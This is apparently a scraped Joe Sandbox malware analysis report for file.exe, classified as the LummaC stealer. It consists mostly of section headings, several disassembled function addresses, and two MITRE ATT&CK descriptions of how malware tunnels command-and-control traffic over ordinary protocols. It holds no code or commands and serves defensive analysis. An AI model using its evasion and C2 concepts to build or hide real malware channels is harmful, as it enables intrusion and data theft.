Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

Windows Analysis Report
file.exe

Function 00371CAA Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 219
COMMON

Function 00344B30 Relevance: 6.7, Strings: 5, Instructions: 474
COMMON

Function 003679F5 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 469
COMMON

Function 0035E0C0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 192
COMMON

Function 0035EAD0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 156
COMMON

Function 00355BC0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 168
COMMON

Function 003491D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36
COMMON

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre